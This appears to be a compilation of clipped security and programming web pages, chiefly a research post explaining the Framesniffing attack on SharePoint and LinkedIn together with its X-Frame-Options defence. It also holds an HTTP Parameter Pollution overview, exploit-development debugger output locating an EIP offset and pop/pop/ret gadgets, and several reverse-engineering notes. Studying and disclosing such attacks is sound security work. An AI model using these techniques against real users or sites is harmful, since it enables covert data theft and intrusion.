            QtGui.QMainWindow.__init__(self)
    
            self.ui = Ui_MainWindow()
            self.ui.setupUi(self)
    
            # Connect the pushButton to a message method.
            self.connect(self.ui.pushButton, QtCore.SIGNAL("clicked()"),message)
    
    def message():
        print "Hello, world !\n"
    
    if __name__ == "__main__":
        app = QtGui.QApplication(sys.argv)
        window = TestApp()
        window.show()
        sys.exit(app.exec_())
    
    
[/code]

As you can see, we now have some control on our form. Moreover, the GUI part
is totally dissociated from the code, so if you change something in your "ui"
file, i.e changing the pushButton's name, you won't have to change anything in
your file "test\_MyApp.py" : _Divide to conquer_.

# derivate two classes QMainWindow and Ui\_MainWindow

This is another approach, using multiple inheritance. Let's study the
following code :

[code]

    import sys
    from PyQt4 import QtGui, QtCore
    from MyApp import Ui_MainWindow
    
    # We start a new class here
    # derived from QMainWindow and Ui_MainWindow
    
    class TestApp(QtGui.QMainWindow, Ui_MainWindow):
        def __init__(self):
            QtGui.QMainWindow.__init__(self)
            Ui_MainWindow.__init__(self)
    
            self.ui = Ui_MainWindow()
            self.ui.setupUi(self)
    
            # Connect a pushButton to a message method.
            self.connect(self.ui.pushButton, QtCore.SIGNAL("clicked()"),message)
    
    def message():
        print "Hello, world !\n"
        return
    
    if __name__ == "__main__":
        app = QtGui.QApplication(sys.argv)
        window = TestApp()
        window.show()
        sys.exit(app.exec_())
    
    
[/code]

This last method permits a direct access to objects, you handle them very
easily. But it has a drawback too : you can't use multiple inheritance later.

### Navigation

  * Home
  * QScintilla2
  * Tips&Tricks
  * UiFiles

### In Brief :

I just wanted to share my PyQt4 experience.

### Links :

  * RiverBank PyQt4
  * QtCenter
  * PyQtWiki
  * Nice tutorial

Copyright by Kib 2007 on a design by Alsacreations.

# The Halting Problem for Reverse Engineers « Indefinite Studies

**Created:**| _12/21/2010 10:17:38 AM_  
---|---  
**Updated:**| _12/21/2010 10:18:18 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification reversing_  
  

## The Halting Problem for Reverse Engineers

leave a comment »

I often have the feeling that technically savvy people don’t have a very high
opinion of academia, and this is particularly true of security people. They
have to deal with low-level details such as hardware architecture, operating
systems internals \(more or less documented\), proprietary protocols and data
structures, all of which require very specialized knowledge. Logic, theorems
and algorithms don’t have a predominant place in that picture.

For the past few years I have been working on these subjects, and found some
fundamental theorems to be actually \*useful\* in understanding the security
properties of computer architectures. One of them is, of course, the
_undecidability of the halting problem_. In essence, it says that we can not
know if the computation of a program on some input will ever terminate. So
what? Who cares if a program terminates, what we want is to find
vulnerabilities and unpack malware samples, right?

The importance of the undecidability of the halting problem lies in its
generality. In particular we can see Rice’s theorem as a generalization of
this result, and to put it very simply, it says that whatever properties of
programs you’re interested in, no program can tell if this property holds for
every program \(i.e. it is undecidable\).

This is very bad news for all of us, since basically everything about programs
is undecidable. Say that you are interested in finding functions that do out-
of-bounds memory writes \(or as I said, any other property\), Rice’s theorem
says that there is no program that will give you a correct answer all the
time. You must accept that your program sometimes fails or infinitely loops.

I want to emphasize how _bad_ this is. Do not the terminology used in the
theorems confuse you, in particular the notion of input, output, and function
computed by a program does not map nicely to binaries. An output is anything
that gets modified by your program — any register or memory location, as soon
as it is touched by an instruction, is an output. And basically, everything
about outputs is undecidable. As a consequence, simple tasks such as
disassembling are undecidable.

For instance, take this seemingly innocent indirect jump:

[code]

    jmp [eax]
    
[/code]

If eax is an output of instructions before it, no luck, its value is
undecidable. You can run the program, write the value down, and assume it will
not change, but you have no guarantee that it will not change at a given date.
Undecidable. You could argue that eax can only take a finite number of values,
and hence disassembling is still possible, just very intractable. But that
would be without counting on self-modifying code. SMC \(think packers\) is the
scourge of disassemblers because it gives the ability to transfer control to
an output. Since I can’t decide the value of the output, I can’t disassemble.

To sum things up, here are a few direct consequences of the undecidability of
the halting problem:

  1. you can’t decide the target of indirect jumps, reads and writes
  2. you can not decide if a particular memory address is code, data, or both
  3. you can’t decide values written in memory
  4. you can’t decide the numbers of occurrences of loops
  5. you can’t decide if control flow can reach a given instruction
  6. whatever you see in a given run can change arbitrarily in another run
  7. disassembling is undecidable
  8. unpacking is undecidable

I will leave how all this led to the bad habit of relying on “heuristics” to a
further post. Stay classy\!

# HTTP Parameter Pollution \(HPP\) Attack Tutorial

**Created:**| _4/15/2010 9:57:25 AM_  
---|---  
**Updated:**| _4/15/2010 9:57:33 AM_  
**Author:**| __  
**Tags:**| _bookmark video_  
  

# HTTP Parameter Pollution \(HPP\) Attack  
---  
## HTTP Parameter Pollution \(HPP\) attacks can be defined as the feasibility
to override or add HTTP GET/POST parameters by injecting query string
delimiters. Luca Carettoni, an independent security researcher and Stefano di
Paolo, CTO Minded Security elaborated the details of HPP at OWASP EU09 held in
Poland this year. The attack is based on the fact that various web application
platforms and web servers deal with multiple parameters with the same name in
very different ways, as there is no standardization available for this
behavior. As an example lets say you pass the parameter "name" twice -
http://xxx.com/example.aspx?name=vivek&name=ramachandran , the behavior of
ASP.NET is to concatanate the multiple values i.e. within the application name
will be received as "name = vivek, ramachandran". According to the
researchers, HPP opens up the application for various Client side and Server
side attacks. I am embedding the slides of their presentation and a video demo
of HPP against Yahoo\! Mail. You can find more information about the attack on
Stefano's blog.  
  

## Http Parameter Pollution, a new category of web attacks

## View more presentations from Wisec.  
  

##  
  
  

# Context

**Created:**| _3/15/2012 3:21:41 PM_  
---|---  
**Updated:**| _3/15/2012 2:22:27 PM_  
**Author:**| __  
**Tags:**| _web-app-sec attacks browser_  
  

# **Framesniffing against SharePoint and LinkedIn**<img
src='img/Temp2_1587.gif' />

**Paul Stone & Jacobo Ros, March 2012**

In this blog post, I'll describe the Framesniffing technique and show how it
can be used by a remote attacker to steal sensitive information from users
through their web browser. I'll demonstrate how this attack can be used to
mine information from documents stored in a corporate SharePoint installation.
This blog post also contains a demo that shows how information can be
extracted from a user’s LinkedIn account using the same technique. Finally,
I’ll explain how to protect your site against this kind of attack.

The video below shows a fictional but realistic example of how this technique
could be used to carry out corporate espionage:

<img src='img/Temp2_1594.gif' />

To see the video in Internet Explorer prior to version 9, you must install
Flash Player

The video shows an attacker extracting sensitive information \(including
client names\) from a fictional corporate SharePoint installation. The
attacker then searches the server to discover crucial information about
upcoming acquisition. To achieve this, the attacker first lures a user with
access to the SharePoint server to a malicious web page. While the user is
viewing the page, the attacker uses Framesniffing to infer information from
the SharePoint server through their web browser.

### **The Framesniffing Attack**

The Framesniffing technique uses an HTML IFRAME to load a target website
inside of an attacker's webpage. All web browsers have security restrictions
that prevent a webpage from directly reading the contents of pages loaded in
frames. However, this attack bypasses those measures, allowing a malicious
webpage to read certain pieces of information about the structure of a framed
page, by using anchor elements. Before I describe the attack itself, here's a
quick explanation of how anchors work.

<img src='img/Temp2_1586.gif' />

How a web browser scrolls to an anchor

Anchor elements are traditionally used to navigate within a webpage. They are
often used on long pages to navigate from an item in a contents table to a
section further down a page. You can see how anchors work by visiting this
example page:

www.wikipedia.org/wiki/Web\_browser\#History

In this link, the \#History part at the end is the anchor. It is used by the
web browser to scroll to a particular point on the page. The web browser will
look for any HTML element with an ID attribute set to "History" \(or an anchor
element with name="History"\) and scroll to it. Modern web pages will often
have dozens of elements with IDs set, even if they're not being used as
anchors.

Most importantly, if the anchor in the URL isn't found then the browser won't
scroll the page at all. It's this scrolling-or-not-scrolling behaviour that
the Framesniffing attack uses in order to read information. A malicious
webpage can load a URL into a hidden frame with a particular anchor on the
end, and check whether an element matching that anchor exists on the target
webpage. If the anchor is present, the frame will scroll; if it's not then the
frame won't scroll \[1\].

So why is this actually useful? Imagine an attacker wants to check whether a
user is logged onto a particular website, example.com. If the user is not
logged into the site, the front page will contain a login form like this:

<form **id= "login">** <input name="username">…

If the user is logged in, then the login form won't be present. To do the
login check, the attacker's web page can then load the following URL in a
hidden frame:

http://www.example.com/\#login

If the frame scrolls down when the page loads, then the attacker knows that
the user is logged into example.com. Since this check is quick to do, the
attacker's page could check hundreds of sites to build up a profile of which
sites the user is logged into. The technique isn’t limited to doing login
checks; all sorts of information can be inferred from anchor IDs, as you’ll
see in the rest of this post.

Mozilla updated their Firefox web browser last year to prevent Framesniffing
attacks \(https://bugzilla.mozilla.org/show\_bug.cgi?id=583889\), however the
latest versions of Internet Explorer, Chrome and Safari are still vulnerable
to these attacks. We also tested a number of mobile browsers and found the
default web browsers on iOS 5, Android 2.3 and Blackberry OS 6 to be
vulnerable.

### **SharePoint Data Mining**

By default, SharePoint 2007 and 2010 do not send the X-Frame-Options header.
This means that any website that knows the URL of your organisation's
SharePoint installation can load it in a frame \(even if SharePoint is only
accessible on your internal network, since it's loading in your browser\).
This attack works by checking for anchors on search result pages.

The following URL will run a search for 'Acme' on a fictional SharePoint
server:

http://sp2010/searchcenter/Pages/Results.aspx?k=Acme

The results page shows the first 10 results and indicates that there are three
more pages of results. How about searching for something that doesn't exist in
the document repository?

http://sp2010/searchcenter/Pages/Results.aspx?k=rAnD0m456

  

This time there's a message indicating that there are no results. See the
below screenshots for examples of these results pages:  
  

<img src='img/Temp2_1589.gif' /> <img src='img/Temp2_1591.gif' />

SharePoint 2010 results pages - click to enlarge

  
  

Now let's look at the element IDs found on these pages:

  
  

<img src='img/Temp2_1584.gif' /> <img src='img/Temp2_1585.gif' />

Anchors on SharePoint results pages - 4 pages of result on the left, no
results on the right

  
  

Depending on how many pages of results are returned, the anchors SRP\_P2,
SRP\_P3 and so on will be on the page. If no results are found, then the
anchor CSR\_NO\_RESULTS will be present. If only one page of results is
returned, none of these anchors will be on the page.

Using Framesniffing, it's possible for a malicious web page to run search
queries on a SharePoint server and determine how many results are found for
each hit. While it's not possible for a malicious page to directly read the
search results using this attack, a lot of information can be gleaned by
searching a SharePoint repository for sensitive terms and counting the number
of results returned.

Imagine an attacker wants to discover whether GarCorp, FooCorp and RadCorp are
clients of BigCorp. The attacker knows that the SharePoint server runs on
BigCorp's internal intranet at http://sp2010/, but can't access it directly.
There are various ways that someone could discover the URL of an
organisation’s internal SharePoint server. For example, Microsoft Office will
embed the server’s URL in a document when it is ‘checked out’ for editing. If
the document is then emailed or published then the URL can be easily
discovered by the recipients.

The attacker might carry out the following steps to find this information:

  1. The attacker sends an email to a BigCorp employee with a link to his malicious webpage.
  2. The employee visits the webpage from inside the BigCorp intranet. The page itself is promotional material for a fictional company invented by the attacker.
  3. The malicious page loads the following SharePoint URLs in hidden frames:   
http://sp2010/searchcenter/Pages/Results.aspx?k=GarCorp  
http://sp2010/searchcenter/Pages/Results.aspx?k=FooCorp  
http://sp2010/searchcenter/Pages/Results.aspx?k=RadCorp

  4. The malicious page uses the Framesniffing to check the loaded pages for the IDs mentioned above. The results are as follows:

Anchor| 'GarCorp' Query| 'FooCorp' Query| ‘RadCorp’ Query  
---|---|---|---  
CSR\_NO\_RESULTS| <img src='img/Temp2_1592.gif' />| <img
src='img/Temp2_1588.gif' />| <img src='img/Temp2_1588.gif' />  
SRP\_P2| <img src='img/Temp2_1588.gif' />| <img src='img/Temp2_1588.gif' />|
<img src='img/Temp2_1592.gif' />  
SRP\_P3| <img src='img/Temp2_1588.gif' />| <img src='img/Temp2_1588.gif' />|
<img src='img/Temp2_1592.gif' />  
SRP\_P4| <img src='img/Temp2_1588.gif' />| <img src='img/Temp2_1588.gif' />|
<img src='img/Temp2_1592.gif' />  
SRP\_P5| <img src='img/Temp2_1588.gif' />| <img src='img/Temp2_1588.gif' />|
<img src='img/Temp2_1592.gif' />  
  * After a few seconds, the BigCorp employee closes the webpage.

From the above results, the attacker can see that ‘GarCorp’ didn’t have any
search results so likely doesn’t have a relationship with BigCorp. For the
‘FooCorp’ query none of the anchors were on the results page which tells us
that there was a single page of results \(10 or fewer results\). This suggests
that FooCorp might be mentioned a few times a handful of documents, but
probably isn’t a client. Lastly, RadCorp has 5 pages of results \(at least 50
hits\) which suggests a strong relationship with BigCorp. In this example,
only 3 searches were done. However, the attacker could have searched for
dozens of company names in a matter of 2-3 seconds.

Using this knowledge as a starting point, the attacker could then go on to
perform more complex searches around RadCorp. SharePoint 2010 supports search
operators such as AND, OR and NEAR \(http://msdn.microsoft.com/en-
us/library/ee872310.aspx\). NEAR is a particularly useful tool – it will match
words that are in close proximity to each other without having to search for
an exact phrase. So the attacker could search for terms like "RadCorp NEAR
buyout", "acquisition NEAR RadCorp" or RadCorp NEAR litigation" in order to
gain some knowledge about specific details within documents.

What if a keyword-based search doesn’t give an attacker any useful results? In
that case, a blind search using wildcards is possible.

SharePoint supports wildcard searches in some fields, such as author, filename
and document title. For example, a search for filename:a\* will return a list
of files beginning with ‘A’. A blind search would start by performing searches
for a\*, b\*, c\* and so on, to find if there are files that start with those
letters. It would then go on to search for an\*, at\*, as\*... until a set of
complete words had been build up. Although this may take a few thousand
queries, it can be done fully automatically in 5-10 minutes depending on the
speed of the browser, network connection and the SharePoint server being
queried. An attack like this could be used to discover things like client
names or product codenames, even with no prior information about the contents
of the server.

### **LinkedIn Information Leak**

Many public websites don’t protect against framing and are therefore
vulnerable to Framesniffing. One example is LinkedIn. We’ve created a small
demo that shows how information can be extracted from your LinkedIn profile,
if you're currently logged into the site.

Run the Demo

<img src='img/Temp2_1590.gif' />

Anchors on LinkedIn

The contacts search page on LinkedIn \(shown right\) allows filtering contacts
by location, industry, company and so on. Each filter tick box has an ID that
can be used as an anchor. For example the industry tick boxes have IDs like
‘118-I-fps’. Each industry has a different ID – 118 in this case is ‘Computer
& Network Security’.

Our demo works by first loading the contacts search page into a hidden frame.
It then changes the anchor at the end of the frame’s URL to \#1-I-fps, then
\#2-I-fps and so on – one for each industry ID. Each time the anchor is
changed, our code checks to see if the frame has scrolled. If it has scrolled
then the anchor is present on the page, which indicates that the user has
contacts in the corresponding industry. All of these checks are very quick to
do because the page is only loaded once. Since only the anchor part of the URL
is changing, the browser will not reload the page from the server.

Our demo only extracts and displays information about the industries and
countries that a user has contacts in. That information is never sent to
Context or anywhere else, but an attacker could silently collect this data
without the user’s knowledge. Furthermore, the LinkedIn search page contains
other anchors that could allow specific companies, contacts, and even the
identity of the user themselves to be found.

We informed LinkedIn about this issue \(via their security@linkedin.com
address\) on 29th February. At the time of writing Context had still not
received a response from LinkedIn.

Many other websites are vulnerable to this kind of attack. A malicious website
could build up a profile of a user by piecing together small pieces of
information leaked from various websites. For example, the product IDs of
previously bought items from a shopping site could be combined with a person’s
user ID from a social networking site.

### **Protecting against Framesniffing**

Similarly to Clickjacking, Framesniffing won't work if the target website has
framing protection. Websites can protect themselves against both attacks by
sending the X-Frame-Options HTTP header.

Context have tested SharePoint 2007 and 2010 and found that in their default
configuration, they are vulnerable to this attack. We contacted Microsoft
about the vulnerability, and they gave us the following response:

"We have concluded our investigation and determined that this is by-design in
current versions of SharePoint. We are working to set the X-Frame options in
the next version of SharePoint"

Fortunately, protecting a website from this attack is a simple matter of
adding the X-Frame-Options header.

The following steps describe how to add the custom header in IIS7. The
screenshots use SharePoint as an example, but the instructions will work for
any site:

  1. Open IIS Manager
  2. In the left pane navigate to the relevant web site
  3. Select the Features View and double-click the HTTP Response Headers icon
  4. Click the ‘Add...’ link in the right pane
  5. Enter ‘X-Frame-Options’ in the name field and ‘SAMEORIGIN’ in the value field

<img src='img/Temp2_1595.gif' /> <img src='img/Temp2_1593.gif' />

Configuring IIS - Click to enlarge

  
  

Note that because this setting will prevent SharePoint from being framed, it
could potentially break SharePoint in some setups – for example if another
intranet application uses SharePoint via a frame. Be sure to test this change
before putting it into production.

### **Browser Protection against Framesniffing Attacks**

As previously mentioned, users of the Firefox browser are already protected
against this attack. We would encourage other browser vendors to apply similar
protection to their browsers. In the mean time, the onus is on individual
websites to add framing protection via X-Frame-Options.

  

# **References**

\[1\] - If you're interested in the gory details of how the scroll detection
works, see pages 15-16 in my Clickjacking Whitepaper. Also see \[Berszstein et
al, p18\], a great paper that has some interesting examples of the technique.
Thanks also go to my colleague Chris ‘alertbox’ Wallis for coining the term
‘Framesniffing’.  
  
http://www.contextis.co.uk/research/white-papers/clickjacking  
http://media.blackhat.com/bh-
us-10/whitepapers/Bursztein\_Gourdin\_Rydstedt/BlackHat-USA-2010-Bursztein-
Bad-Memories-wp.pdf \(page 18\)  
https://bugzilla.mozilla.org/show\_bug.cgi?id=583889

# Exploit writing tutorial part 5 : How debugger modules & plugins can speed up basic exploit development | Peter Van Eeckhoutte´s Blog
**Created:**| _12/28/2009 10:09:46 PM_  
---|---  
**Updated:**| _12/28/2009 10:09:58 PM_  
**Author:**| __  
**Tags:**| _bookmark windows security Exploit Tutorials_  
  

  * cr01nk says:
September 18, 2009 at 4:10

Before i begin, I m glad that you choose to write this tutorial series. Great
work\!\!

I m troubled by a trivial problem with the scope of \!jutsu searchOpcode..
when i use \!jutsu it will only show me result of binary that is loaded into
and will not search for opcode in all the loaded dll’s.  
Could you tell me what exactly is the problem? and how to exactly handle the
scope of \!jutsu. is there any way to increase the scope of search using
\!jutsu.

I m using Windbg 6.11.0001.404  
and byakugan.dl is downloaded recently

===== CONSOLE SNAPSHOT =====  
0:000> \!load byakugan  
0:000> \!pattern\_offset 5000  
\[Byakugan\] Control of ecx at offset 612.  
\[Byakugan\] Control of eip at offset 612.  
0:000> \!jutsu searchOpcode pop esi | pop ebx | ret  
\[J\] Searching for:  
> pop esi  
> pop ebx  
> ret  
\[J\] Machine Code:  
> 5e 5b c3  
===== END CONSOLE =====

Thanks in advance

Reply

  * <img src='img/Temp2_2977.jpg' width='48' height='48' alt='peterve' />Peter Van Eeckhoutte says:
September 20, 2009 at 9:10

Hi cr01nk,  
I have forwarded your comment/question to the byakugan developer, but did not
get a reply \(yet\). Stay tuned

Reply

  * <img src='img/Temp2_2977.jpg' width='48' height='48' alt='peterve' />Peter Van Eeckhoutte says:
September 21, 2009 at 16:47

update : searchOpcode does search in all of the addressable memory – not sure
why it’s not working for you.  
Did you manage find a working address for pop esi | pop ebx | ret in the loaded module/executable binary using another technique ? 
Reply

  * <img src='img/Temp2_2978.jpg' width='48' height='48' alt='cr01nk' />cr01nk says:
September 21, 2009 at 22:18

I m using findjmp right now and sometimes  
s -d 0×00000000 L?0xffffffff 5E 5B C3

I followed all the instructions that you told above in the tutorial again and
again on different machine but i could not get \!justu work. earlier i only
tried for searchOpcode by now i have checked for identBuff it seems like only
\!pattern\_offset is working and non \!jutsu commands are working

Reply

  * <img src='img/Temp2_2977.jpg' width='48' height='48' alt='peterve' />Peter Van Eeckhoutte says:
September 21, 2009 at 23:02

what OS/SP level are you using ?  
I had some issues getting to run byakugan properly on XP SP3 – If that is the
OS you are using, let me know \(and I’ll see if I can shoot you the XPSP3
version of the dll’s\)

Reply

  * <img src='img/Temp2_2978.jpg' width='48' height='48' alt='cr01nk' />cr01nk says:
September 21, 2009 at 23:43

@peter : Thanks for your help  
Issue resolved: I was using previously using old dll compiled on 18 nov 2008
on windbg installed in c:\program…\Debugging.. \(x86\)\windbg.exe  
I reinstalled the windbg in c:\windbg\windbg.exe folder and installed svn
updated dll issued on 16th sep 2009.  
This worked for me, if anyone is also having the same problem try this.

Reply

  * <img src='img/Temp2_2978.jpg' width='48' height='48' alt='cr01nk' />cr01nk says:
September 21, 2009 at 23:44

OS : Windows XP sp2

Reply

  * <img src='img/Temp2_2977.jpg' width='48' height='48' alt='peterve' />Peter Van Eeckhoutte says:
December 27, 2009 at 20:42

version that works on my system can be downloaded here

Reply

# Obscure WinDbg Commands, Part 1 - All Your Base Are Belong To Us

**Created:**| _9/27/2013 10:59:06 AM_  
---|---  
**Updated:**| _9/27/2013 10:59:06 AM_  
**Author:**| __  
**Tags:**| _windbg_  
  

# **O** bscure WinDbg Commands, Part 1****

_I’m starting a short post series today covering some obscure WinDbg
commands**.** Some of these are fairly useful, others are mostly good for
extracting “wows” from your coworkers**.** Still, there’s a lot of ground to
cover._

Today’s two commands deal with inspecting thread call stacks**.** Real-world
processes might have hundreds of threads in them, and figuring out who’s who
can be pretty time-consuming**.** This is especially true if you are using the
thread pool \(.NET, Win32, or even your own\), which often means you have
dozens of thread pool threads waiting idly for work**.**

**The \!uniqstack command can help in these situations**.** It enumerates all
the thread call stacks and eliminates duplicates, so that you can understand
at a glance what these hundreds of threads are doing**.****

0:021> **\!** uniqstack  
Processing 22 threads, please wait  
  
**.** 0 Id: 464**.** ca8 Suspend: 1 Teb: 7f9dd000 Unfrozen  
Start: SillyThreadPool**\!** ILT+120\(\_wmainCRTStartup\) \(00ed107d\)  
Priority: 0 Priority class: 32 Affinity: ff  
ChildEBP RetAddr  
00a6f510 76e0cfb2 ntdll**\!** NtReadFile+0xc  
00a6f578 5285d9de KERNELBASE**\!** ReadFile+0x10e  
00a6f62c 5285d19c MSVCR110D**\!** \_read\_nolock+0x7be  
00a6f684 527a4246 MSVCR110D**\!** \_read+0x24c  
00a6f6b4 527a26b3 MSVCR110D**\!** \_filbuf+0x126  
00a6f714 527a2708 MSVCR110D**\!** getc+0x223  
00a6f720 527a2718 MSVCR110D**\!** \_fgetchar+0x18  
00a6f728 00ed14ca MSVCR110D**\!** getchar+0x8  
00a6f808 00ed1a49 SillyThreadPool**\!** wmain+0x7a  
00a6f858 00ed1c3d SillyThreadPool**\!** \_\_tmainCRTStartup+0x199  
00a6f860 7755850d SillyThreadPool**\!** wmainCRTStartup+0xd  
00a6f86c 77d1bf39 KERNEL32**\!** BaseThreadInitThunk+0xe  
00a6f8b0 77d1bf0c ntdll**\!** \_\_RtlUserThreadStart+0x72  
00a6f8c8 00000000 ntdll**\!** \_RtlUserThreadStart+0x1b

**.** 1 Id: 464.13d4 Suspend: 1 Teb: 7f9da000 Unfrozen  
Start: SillyThreadPool**\!** ILT+265\(?MyThreadPoolWorkerYGKPAXZ\)
\(00ed110e\)  
Priority: 0 Priority class: 32 Affinity: ff  
ChildEBP RetAddr  
00d3f7b8 76e01129 ntdll**\!** NtWaitForSingleObject+0xc  
00d3f824 76e010b4 KERNELBASE**\!** WaitForSingleObjectEx+0x8f  
00d3f838 00ed141e KERNELBASE**\!** WaitForSingleObject+0x12  
00d3f914 7755850d SillyThreadPool**\!** MyThreadPoolWorker+0x2e  
00d3f920 77d1bf39 KERNEL32**\!** BaseThreadInitThunk+0xe  
00d3f964 77d1bf0c ntdll**\!** \_\_RtlUserThreadStart+0x72  
00d3f97c 00000000 ntdll**\!** \_RtlUserThreadStart+0x1b

. 21 Id: 464**.** 1574 Suspend: 1 Teb: 7f879000 Unfrozen  
Start: ntdll**\!** DbgUiRemoteBreakin \(77d5dbeb\)  
Priority: 0 Priority class: 32 Affinity: ff  
ChildEBP RetAddr  
0279faa4 77d5dc24 ntdll**\!** DbgBreakPoint  
0279fad4 7755850d ntdll\!DbgUiRemoteBreakin+0x39  
0279fae0 77d1bf39 KERNEL32**\!** BaseThreadInitThunk+0xe  
0279fb24 77d1bf0c ntdll**\!** \_\_RtlUserThreadStart+0x72  
0279fb3c 00000000 ntdll**\!** \_RtlUserThreadStart+0x1b

Total threads: 22  
Duplicate callstacks: 19 \(windbg thread \#s follow\):  
2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20

In other cases, you’re specifically looking for one particular thread among
many**.** Of course debugger automation can come handy here – you can dump the
call stacks for all the threads \(e**.** g. using the ~\* e kn command\), and
then parse the output**.** **But there is an easier way: the \!findstack
command**.** This command searches thread call stacks for a specific symbol
and displays matching threads**.****

0:021> **\!** findstack kernelbase\!WaitForSingleObject  
Thread 001, 2 frame\(s\) match  
\* 01 00d3f824 76e010b4 KERNELBASE**\!** WaitForSingleObjectEx+0x8f  
\* 02 00d3f838 00ed141e KERNELBASE**\!** WaitForSingleObject+0x12  
  
..**.** snipped ...  
  
Thread 020, 2 frame\(s\) match  
\* 01 0265fac4 76e010b4 KERNELBASE**\!** WaitForSingleObjectEx+0x8f  
\* 02 0265fad8 00ed141e KERNELBASE**\!** WaitForSingleObject+0x12

* * *
_I am posting short links and updates on Twitter as well as on this blog**.**
You can follow me: @goldshtn _

## Comments****

No Comments

Title _\(required\)_ \*

Name _\(required\)_ \*

Your URL _\(optional_\)

Comments _\(required\)_ \*

Remember Me**?**

<img src='img/Temp2_5698.jpg' />  
Enter the numbers above:

****

# Debugging with GDB

**Created:**| _8/6/2013 11:54:53 AM_  
---|---  
**Updated:**| _8/6/2013 11:55:23 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  
<img src='img/Connect12Q2-GDB.pdf' width='100%' height='31636' />

# Topology-Aware Vulnerability Mitigation Worms - Research - Royal Holloway,
University of London

**Created:**| _2/8/2012 1:28:18 PM_  
---|---  
**Updated:**| _2/8/2012 1:28:20 PM_  
**Author:**| __  
**Tags:**| _research antivirus_  
  

**Topology-Aware Vulnerability Mitigation Worms : Defensive Worms.** / Al-
Salloum, Ziyad.

2011\. 211 p.

Doctoral Thesis

Published

  * Overview
  * Cite this

### Documents

  * **Topology-Aware Vulnerability Mitigation Worms**
3 MB, PDF-document

  * Ziyad Al-Salloum

  * Department of Mathematics

In very dynamic Information and Communication Technology \(ICT\)
infrastructures, with rapidly growing applications, malicious intrusions have
become very sophisticated, effective, and fast. Industries have suffered
billions of US dollars losses due only to malicious worm outbreaks. Several
calls have been issued by governments and industries to the research community
to propose innovative solutions that would help prevent malicious breaches,
especially with enterprise networks becoming more complex, large, and
volatile.  
  
In this thesis we approach self-replicating, self-propagating, and self-
contained network programs \(i.e. worms\) as vulnerability mitigation
mechanisms to eliminate threats to networks. These programs provide
distinctive features, including: Short distance communication with network
nodes, intermittent network node vulnerability probing, and network topology
discovery. Such features become necessary, especially for networks with
frequent node association and disassociation, dynamically connected links, and
where hosts concurrently run multiple operating systems.  
  
We propose -- to the best of our knowledge -- the first computer worm that
utilize the second layer of the OSI model \(Data Link Layer\) as its main
propagation medium. We name our defensive worm Seawave, a controlled
interactive, self-replicating, self-propagating, and self-contained
vulnerability mitigation mechanism. We develop, experiment, and evaluate
Seawave under different simulation environments that mimic to a large extent
enterprise networks. We also propose a threat analysis model to help identify
weaknesses, strengths, and threats within and towards our vulnerability
mitigation mechanism, followed by a mathematical propagation model to observe
Seawave's performance under large scale enterprise networks. We also
preliminary propose another vulnerability mitigation worm that utilizes the
Link Layer Discovery Protocol \(LLDP\) for its propagation, along with an
evaluation of its performance.  
  
In addition, we describe a preliminary taxonomy that rediscovers the
relationship between different types of self-replicating programs \(i.e.
viruses, worms, and botnets\) and redefines these programs based on their
properties. The taxonomy provides a classification that can be easily applied
within the industry and the research community and paves the way for a
promising research direction that would consider the defensive side of self-
replicating programs.

Original language| English  
---|---  
Qualification| PhD  
---|---  
Awarding Institution|

  * Royal Holloway, University of London

  
StatePublished

# Trapping access to debug registers « root labs rdist

**Created:**| _9/3/2009 10:03:58 AM_  
---|---  
**Updated:**| _9/3/2009 10:04:03 AM_  
**Author:**| __  
**Tags:**| _Debugging reversing_  
  

### Trapping access to debug registers

Filed under: PC Architecture, Reverse engineering, Security, Software
protection — Nate Lawson @ 5:00 am  

If you’re designing or attacking a software protection scheme, the debug
registers are a great resource. Their use is mostly described in the Intel SDM
Volume 3B, chapter 18. They can only be accessed by ring 0 software, but their
breakpoints can be triggered by execution of unprivileged code.

The debug registers provide hardware support for setting up to four different
breakpoints. They have been around since the 386, as this fascinating history
describes. Each breakpoint can set to occur on an execute, write, read/write,
or IO read/write \(i.e., in/out instructions\). Each monitored address can be
a range of 1, 2, 4, or 8 bytes.

DR0-3 store the addresses to be monitored. DR6 provides status bits that
describe which event occurred. DR7 configures the type of event to monitor for
each address. DR4-5 are aliases for DR6-7 if the CR4.DE bit is clear.
Otherwise, accessing these registers yields an undocumented opcode exception.
This behavior might be useful for obfuscation.

When a condition is met for one of the four breakpoints, INT1 is triggered.
This is the same exception as for a single-step trap \(EFLAGS.TF = 1\). INT3
is for software breakpoints and is useful when setting more than four
breakpoints. However, software breakpoints require modifying the code to
insert an int3 instruction and can’t monitor reads/writes to memory.

One very useful feature of the debug registers is DR7.GD \(bit 13\). Setting
this bit causes reads or writes to any of the debug registers to generate an
INT1. This was originally intended to support ICE \(In-Circuit Emulation\)
since some x86 processors implemented test mode by executing normal
instructions. This mode was the same as SMM \(System Management Mode\), the
feature that makes your laptop power management work. SMM has been around
since the 386SL and is the original x86 hypervisor.

To analyze a protection scheme that accesses the debug registers, hook INT1
and set DR7.GD. When your handler is called, check DR6.BD \(also bit 13\). If
it is set, the instruction at the faulting EIP was about to read or write to a
debug register. You’re probably somewhere near the protection code. Since this
is a faulting exception, the MOV DRx instruction has not executed yet and can
be skipped by updating the EIP on the stack before executing IRET.

If you’re designing software protection, there are some interesting ways to
use this feature to prevent attackers from having easy access to the debug
registers. I’ll have to leave that for another day.

Leave a Comment

  

# grsecurity forums • View topic - Much Ado About Nothing: A Response in Text
and Code

**Created:**| _4/21/2011 10:20:10 AM_  
---|---  
**Updated:**| _4/21/2011 10:20:10 AM_  
**Author:**| __  
**Tags:**| _Linux opinion_  
  

### Much Ado About Nothing: A Response in Text and Code

<img src='img/Temp2_10278.gif' width='11' height='9' alt='Post' />by
**spender** » Sat Apr 16, 2011 5:34 pm

Last Friday at the HES conference in France, a presentation entitled
"Stackjacking Your Way to grsecurity/PaX Bypass" was given. Soon after, an
image was retweeted frequently on Twitter, supposedly of the presenters
getting "root on a grsecurity/PaX kernel on-stage". No other details were
provided to those retweeting the image \(except for those in attendance at
HES\) and it was mentioned that the slides/code for the attack wouldn't be
published until after a repeat presentation at Infiltrate in Miami this
Sunday.  
  
I have a number of issues with how this was handled, which I will elucidate
here.  
  
For starters, the PaX Team and myself got about 30 minutes advance notice of
the slides for the presentation. Though this in itself would not be out of the
ordinary for people we don't know at all, the presenters in this case have
used my research in their own presentations and created patches "loosely
based" on grsecurity features and submitted them to the Linux Kernel.  
  
Up to the presentation \(and even still on the Infiltrate website\), the
